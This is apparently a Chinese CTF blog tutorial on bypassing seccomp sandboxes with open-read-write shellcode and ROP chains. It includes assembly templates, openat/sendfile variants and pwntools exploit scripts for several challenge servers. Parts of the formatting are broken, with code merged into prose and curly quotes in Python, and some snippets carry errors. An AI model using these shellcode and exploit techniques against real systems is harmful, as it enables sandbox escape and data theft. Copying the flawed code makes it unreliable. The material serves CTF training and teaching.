沙箱保护

介绍

沙箱保护用于限制程序的行为,防止攻击者通过漏洞执行任意代码或敏感系统调用(如execve)。最常见的是禁用一些系统调用,使得我们不能通过系统调用execve或system等获取到远程终端权限,因此只能通过rop链的方式调用orw(即为open**, read, **write)的来读取并打印flag 内容

一般有两种函数调用方式实现沙盒机制,第一种是采用prctl函数调用,第二种是使用seccomp库函数。

orw

  • open

    int open(const char *pathname, int flags, mode_t mode);
    • 第一个参数是文件路径,一般写’flag’即可
    • 后面两个参数一般都设为0,0
  • read

    ssize_t read(int fd, const void *buf, size_t count);
    • fd 是文件描述符,0标准输入,1标准输出,2标准错误, 3及更高的数字则表示打开的其他文件或资源。使用read函数打开flag文件,故fd=3
    • 第二个参数是地址,将 flag`写入指定的内存地址中,这里是写在**.bss**段上
    • 第三个参数是读入长度,一般而言flag长度就小于 0x30
  • write

    ssize_t write(int fd, void *buf, size_t count);
    • 类似于read函数,都是三个参数,只不过是写出flag
    • fd,有三种,0标准输入,1标准输出,2标准错误。这里ffd=1
    • 写成长度如上
//32位
#define __NR_read 3
#define __NR_write 4
#define __NR_open 5

//64位
#define __NR_read 0
#define __NR_write 1
#define __NR_open 2

mmap

题目大多不会给出较大的溢出大小,不足以写入很长的ROP链,但是一般会给mmap函数

mmap 用于将文件或设备映射到内存中,使得对内存的读写操作直接反映到文件或设备上。

void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset);

参数介绍:

  • start:映射区域的起始地址。

  • length:映射区域的长度。

  • prot:映射区域的保护方式,可以通过按位“或”运算计算权限对应的值将权限组合在一起,以设置多个权限

  • 权限 对应十六进制
    只读 0x1
    只写 0x2
    可执行 0x4
    读+写 0x3
    读+执行 0x5
    写+执行 0x6
    读+写+执行 0x7

    flags:映射的标志。

  • fd:文件描述符。

  • offset:文件映射的偏移量,通常设置为 0,并且必须是页面大小的整数倍。

示例:

mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);

起始地址:0x123000,长度:0x1000 ,权限为写+执行

工具

seccomp–tools

使用方式为:

seccomp-tools dump ./pwn

若没开启了沙盒保护,则执行程序

若开启了沙盒保护,则会给出文件的沙盒规则

规则解析

如上图所示,先看最后两条
0009: 0x06 0x00 0x00 0 0x7fff0000return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL

0009对应的是 允许执行,0010 则为不执行。

再看顶上两行,告诉我们文件是64位程序
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003eif (A ≠ ARCH_X86_64) goto 0010

再看中间内容 orw都时0009,都可执行,exit指向0010,不可执行

解题类型

手搓orw绕过限制

  • 禁止 system/execve/fork 等,这个时候使用 open+read+write 输出 flag

    • open(ebx-->file_addr,ecx-->oflag)
      read/write(ebx-->fd,ecx-->buf,edx-->s_nbytes)
      

      - ```
      open(rdi-->file_addr,rsi-->oflag)
      read/write(rdi-->fd,rsi-->buf,rdx-->s_nbytes)

模板:

shellcode = asm('''
#open
push 0x67616c66 #flag倒着写 gafl 的16进制表示。
mov rdi,rsp
xor rsi,rsi #取0
push 2 #系统调用号
pop rax
syscall

#read
mov rdi,rax //
mov rsi,rsp
mov rdx,0x30 //
xor rax,rax #取0 系统调用号0
syscall

#write
mov rdi,1 #fd
mov rsi,rsp
push 1 #系统调用号
pop rax
syscall
''')

纯rop链的prw

payload = b'/flag\00\x00\x00' + p64(pop_rdi) + p64(bss + 0x300) + p64(pop_rsi) + p64(0) + p64(open_addr) 
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss + 0x300) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
payload += p64(pop_rdi) + p64(1) +p64(pop_rsi) + p64(bss + 0x300) + p64(pop_rdx) + p64(0x100) + p64(write_addr)

例题:[极客大挑战]2019 not bad

漏洞点在这里,read函数可溢出,但是溢出长度只有0x18个,所以只能迁移。按照基本的思路是用到 stack pivoting调用 jmp rsp 或者pop rsp 这样的 gadget。

基本思路是:

  • 栈溢出布置 shellcode
  • 控制 rip 指向 shellcode 处
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=remote('node5.buuoj.cn',26979)

jmp_rsp=0x400a01
mmap=0x123000

payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload+=payload.ljust(0x28,b'a')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
p.sendline(payload)

shellcode2='''
mov rdi, 0x67616c66
push rdi
mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov rax, 2
syscall

mov rdi, 3
mov rsi, rsp
mov rdx, 0x100
mov rax, 0
syscall

mov rdi, 1
mov rsi, rsp
mov rdx, 0x100
mov rax, 1
syscall
'''
p.send(asm(shellcode2))

p.interactive()

解释payload:

shellcode
padding
fake rbp
jmp_rsp=0x400a01
asm('sub rsp, 0x30;jmp esp')

为什么最后是sub rsp, 0x30shellcode+padding=0x28,jmp_rsp=0x08, 0x28+0x08=0x30,所以得知buf地址是rsp-0x30

shellcraft的orw

  • payload = shellcraft.open("flag")
    payload += shellcraft.read(3, addr, 0x100)
    payload += shellcraft.write(1,addr, 0x100)
    

    + 条件是区域可读可写可执行

    + 注:使用shellcraft、asm模块,要配置相对应的架构context`(arch="amd64")`,不然运行不了

    **例题:buuctf pwn_asm**

    ![](E:\myblog\blog\source\_posts\sandbox\PixPin_2025-02-14_13-41-27.png)

    ![](E:\myblog\blog\source\_posts\sandbox\PixPin_2025-02-14_13-23-49.png)

    ![](E:\myblog\blog\source\_posts\sandbox\PixPin_2025-02-14_13-36-56.png)

    告诉我们开启了沙箱,并且要我们通过shellcode的形式去打这道题,可以看到给了s0x1000的空间

    from pwn import * context(os="linux", arch="amd64",log_level="debug")

p = remote(“node5.buuoj.cn”,29229)
addr = 0x41414000

payload = shellcraft.open(“flag”)
payload += shellcraft.read(3,addr, 0x30)
payload += shellcraft.write(1,addr, 0x30)

p.recvuntil(“shellcode: “)
p.sendline(asm( payload) )

print(p.recv())
p.interactive()




### **ban掉部分orw**

open被ban了可以用openat代替,write没了可以用puts或printf代替,read可以用readv等代替。rw也有sendfile代替

+ openat(64位系统调用号257)

+ ```
int openat(int dirfd, const char *pathname, int flags, mode_t mode);
  • rdi-->dirfd,rsi-->pathname,rdx-->flags,r10-->mode
    

    mov rax, 257 ; 系统调用号 (openat) mov rdi, dirfd ; 目录文件描述符 mov rsi, pathname ; 文件路径 mov rdx, flags ; 文件打开标志 mov r10, mode ; 文件权限 (当使用 O_CREAT 时) syscall ; 执行系统调用

    + sendfile

    + ```
    ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
  • rdi-->out_fd,rsi-->in_fd,rdx-->offset,r10-->count
    

    mov rax, 40 ; 系统调用号 (sendfile) mov rdi, out_fd ; 目标文件描述符 //取1 mov rsi, in_fd ; 源文件描述符 //取3 mov rdx, offset ; 文件偏移量指针 //取0 mov r10, count ; 传输的字节数 syscall

    例题:basectf orz

    ![](E:\myblog\blog\source\_posts\sandbox\PixPin_2025-02-14_13-42-21.png)

    ![](E:\myblog\blog\source\_posts\sandbox\PixPin_2025-02-14_13-28-17.png)

    ![](E:\myblog\blog\source\_posts\sandbox\PixPin_2025-02-14_13-43-27.png)

    from pwn import * context(arch='amd64',log_level='debug')

#p = process(“./pwn”)
p = remote(“challenge.basectf.fun”,30343)

shellcode = (‘’’
mov rax, 0x67616c662
push rax
mov rsi, rsp
xor rax, rax
xor rdi, rdi
sub rdi, 100
xor rdx, rdx
mov r10, 7
mov rax, 0x101
syscall

mov rdi,1
mov rsi,3   
mov rdx,0
mov r10,0x100
push 40
pop rax
syscall 

‘’’)

p.send(asm(shellcode))
p.interactive()


## 参考

[Sandbox总结 - 星盟安全团队](https://blog.xmcve.com/2022/07/16/Sandbox总结/#title-3)

[文章 - 栈沙箱学习之orw - 先知社区](https://xz.aliyun.com/news/12233)

[The art of shellcode](https://mp.weixin.qq.com/s/onpGzz2uzSYKf09yvgb3uA)

[ORW | Dusk的怪东西](https://fallingdusky.github.io/2024/03/29/orw/)

[2025 西湖论剑 | iyheart 的博客](https://iyheart.github.io/2025/01/19/CTFblog/write up系列blog/2025西湖论剑/index.html)